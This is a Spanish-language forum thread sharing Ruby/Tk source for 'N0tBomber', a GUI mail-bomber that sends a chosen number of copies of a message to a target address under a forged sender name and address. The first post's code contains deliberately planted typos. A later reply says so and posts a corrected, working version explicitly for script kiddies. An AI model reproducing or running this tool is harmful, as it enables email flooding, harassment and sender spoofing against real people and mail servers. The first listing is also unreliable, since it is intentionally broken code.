Mail-Bomber en Ruby

Iniciado por ANTRAX, Febrero 24, 2010, 04:18:59 PM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

Febrero 24, 2010, 04:18:59 PM Ultima modificación: Julio 31, 2014, 10:16:05 PM por Expermicid
Código: ruby
#N0tBomber
#By Sh4van3
#Powered by Anti-kiddies
require 'net/smtp'
require 'tk'
root=TkRoot.new() {title "[N0tBomber]~"}

TkLabel.new(root) {
text "Servidor SMTP:"
pack('side'=>'top')
}
ser=TkVariable.new()
TkEntry.new(root) {
textvariable(ser)
pack('side'=>'top')
}

TkLabel.new(root) {
text "Cuenta de correo:"
pack('side'=>'top')
}
dir=TkVariable.new()
TkEntry.new(root) {
textvadriable(dir)
pack('side'=>'top')
}

TkLabel.new(root) {
text "Contrase?a:"
pack('side'=>'top')
}
con=TkVariable.new()
TkEntry.new(root) {
textvariable(con)
pack('side'=>'top')
}

TkLabel.new(root) {
text "Direcci?n de destino:"
pack('side'=>'top')
}
div=TkVariable.new()
TkEntry.new(root) {
textvariabsle(div)
pack{padx 20; pady 20; "side" "top"}
}

TkLabel.new(root) {
text "Direcci?n remitente (falseada):"
pack('side'=>'top')
}
dif=TkVariable.new()
TkEntry.new(root) {
textvariable(dif)
pack('side'=> 'top')
}

TkLabel.new(root) {
text "Nombre del destinatario:"
pack('sides'=>'top')
}
nmd=TkVariable.new()
TkEntsry.new(root) {
textvariable(nmd)
pack('side'=>'top')
}

TkLabel.new(root) {
text "Nombre del remitente (puede ser falso):"
pack('side'=>'top')
}
nmf=TkVardiable.new()
TkEntry.new(root) {
textvariable(nmf)
pack('side'=>'top')
}

TkLabel.new(root) {
text "Asunto del mensaje:"
pack('side'=>'top')
}
as=TkVariable.new()
TkEntry.new(root) {
textvariable(as)
pack('side'=>'top')
}

TkLabel.new(root) {
text "Texto del mensaje:"
pack('side'=>'top')
}
txt=TkVariable.new()
TkEntry.new(root) {
textvariable(txt)
pack('side'=>'top')
}

TkLabel.new(root) {
text "N?mero de mensajes:"
pack('side'=>'top')
}
num=TkVariable.new()
TkEntry.new(root) {
textvariable(num)
pack('side'=>'top')
}

result=TkText.new(root) {width 40; height 10}.pack("side"=>"bottom")

TkButton.new(root){
text "Enviar"
command proc{
msg= "From: #{nmf} <#{dif}>
To: #{nmd} <#{div}>
Subject:#{as}\n\n#{txt}\n"
begin
smtp=Net::SMTP.start("#{ser}", 25, 'saludando', "#{dir}", "#{con}", :login)
rescue Net::SMTPAuthenticationError
puts"Fallo de autenticacion."
rescue Net::SMTPServerBusy
puts "El servidor se encuentra saturado. Prueba de nuevo mas tarde."
rescue Net::SMTPSyntaxError
puts "Ha habido un fallo de sintaxis. Revisa el asunto del mensaje y el texto del mismo."
rescue Net::SMTPFatalError
puts "Ha ocurrido un error fatal. Prueba de nuevo mas tarde."
rescue Net::SMTPUnknownError
puts "Un error inesperado ha ocurrido."
end
b=0
until b==num.to_i
smtp.send_message(msg, dif, div)
b+=1
puts "#{b} mails enviados."
result.insert('end', "#{b} mails enviados.\n")
end
smtp.finish
puts "Ataque finalizado con exito :-)"
puts "          -->N0t GRoup Rulez<--"
z="Ataque finalizado con ?xito."
result.insert('end', "#{z}\n")
result.insert('end', "-->N0t Group Rulez<--\n")
}
pack('side'=>'top')
}

TkLabel.new(root) {
text "Informe del env?o:"
pack('side'=>'top')
}

Tk.mainloop


Septiembre 20, 2014, 05:55:16 PM #1 Ultima modificación: Septiembre 20, 2014, 06:07:02 PM por Doddy
perdon por revivir un post tan viejo , pero me puse a probar este script en ruby y el autor dejo como 30 errores a proposito para despistar a los Script kiddie , les dejo el codigo fixeado para los que quieran probar el script y aprender tk :

Código: ruby

    #N0tBomber
    #By Sh4van3
    #Script kiddies RULES Muahahahahaahahahaha
    #Fixed for Doddy Hackman for the Script kiddies
    require 'net/smtp'
    require 'tk'
    root=TkRoot.new() {title "[N0tBomber]~"}
     
    TkLabel.new(root) {
    text "Servidor SMTP:"
    pack('side'=>'top')
    }
    ser=TkVariable.new()
    TkEntry.new(root) {
    textvariable(ser)
    pack('side'=>'top')
    }
     
    TkLabel.new(root) {
    text "Cuenta de correo:"
    pack('side'=>'top')
    }
    dir=TkVariable.new()
    TkEntry.new(root) {
    textvariable(dir)
    pack('side'=>'top')
    }
     
    TkLabel.new(root) {
    text "Contrase?a:"
    pack('side'=>'top')
    }
    con=TkVariable.new()
    TkEntry.new(root) {
    textvariable(con)
    pack('side'=>'top')
    }
     
    TkLabel.new(root) {
    text "Direcci?n de destino:"
    pack('side'=>'top')
    }
    div=TkVariable.new()
    TkEntry.new(root) {
    textvariable(div)
    pack{padx 20; pady 20; "side" "top"}
    }
     
    TkLabel.new(root) {
    text "Direcci?n remitente (falseada):"
    pack('side'=>'top')
    }
    dif=TkVariable.new()
    TkEntry.new(root) {
    textvariable(dif)
    pack('side'=> 'top')
    }
     
    TkLabel.new(root) {
    text "Nombre del destinatario:"
    pack('side'=>'top')
    }
    nmd=TkVariable.new()
    TkEntry.new(root) {
    textvariable(nmd)
    pack('side'=>'top')
    }
     
    TkLabel.new(root) {
    text "Nombre del remitente (puede ser falso):"
    pack('side'=>'top')
    }
    nmf=TkVariable.new()
    TkEntry.new(root) {
    textvariable(nmf)
    pack('side'=>'top')
    }
     
    TkLabel.new(root) {
    text "Asunto del mensaje:"
    pack('side'=>'top')
    }
    as=TkVariable.new()
    TkEntry.new(root) {
    textvariable(as)
    pack('side'=>'top')
    }
     
    TkLabel.new(root) {
    text "Texto del mensaje:"
    pack('side'=>'top')
    }
    txt=TkVariable.new()
    TkEntry.new(root) {
    textvariable(txt)
    pack('side'=>'top')
    }
     
    TkLabel.new(root) {
    text "N?mero de mensajes:"
    pack('side'=>'top')
    }
    num=TkVariable.new()
    TkEntry.new(root) {
    textvariable(num)
    pack('side'=>'top')
    }
     
    result=TkText.new(root) {width 40; height 10}.pack("side"=>"bottom")
     
    TkButton.new(root){
    text "Enviar"
    command proc{
    msg= "From: #{nmf} <#{dif}>
    To: #{nmd} <#{div}>
    Subject:#{as}\n\n#{txt}\n"
    begin
    smtp=Net::SMTP.start("#{ser}", 25, 'saludando', "#{dir}", "#{con}", :login)
    rescue Net::SMTPAuthenticationError
    puts"Fallo de autenticacion."
    rescue Net::SMTPServerBusy
    puts "El servidor se encuentra saturado. Prueba de nuevo mas tarde."
    rescue Net::SMTPSyntaxError
    puts "Ha habido un fallo de sintaxis. Revisa el asunto del mensaje y el texto del mismo."
    rescue Net::SMTPFatalError
    puts "Ha ocurrido un error fatal. Prueba de nuevo mas tarde."
    rescue Net::SMTPUnknownError
    puts "Un error inesperado ha ocurrido."
    end
    b=0
    until b==num.to_i
    smtp.send_message(msg, dif, div)
    b+=1
    puts "#{b} mails enviados."
    result.insert('end', "#{b} mails enviados.\n")
    end
    smtp.finish
    puts "Ataque finalizado con exito :-)"
    puts "          -->N0t GRoup Rulez<--"
    z="Ataque finalizado con ?xito."
    result.insert('end', "#{z}\n")
    result.insert('end', "-->N0t Group Rulez<--\n")
    }
    pack('side'=>'top')
    }
     
    TkLabel.new(root) {
    text "Informe del env?o:"
    pack('side'=>'top')
    }
     
    Tk.mainloop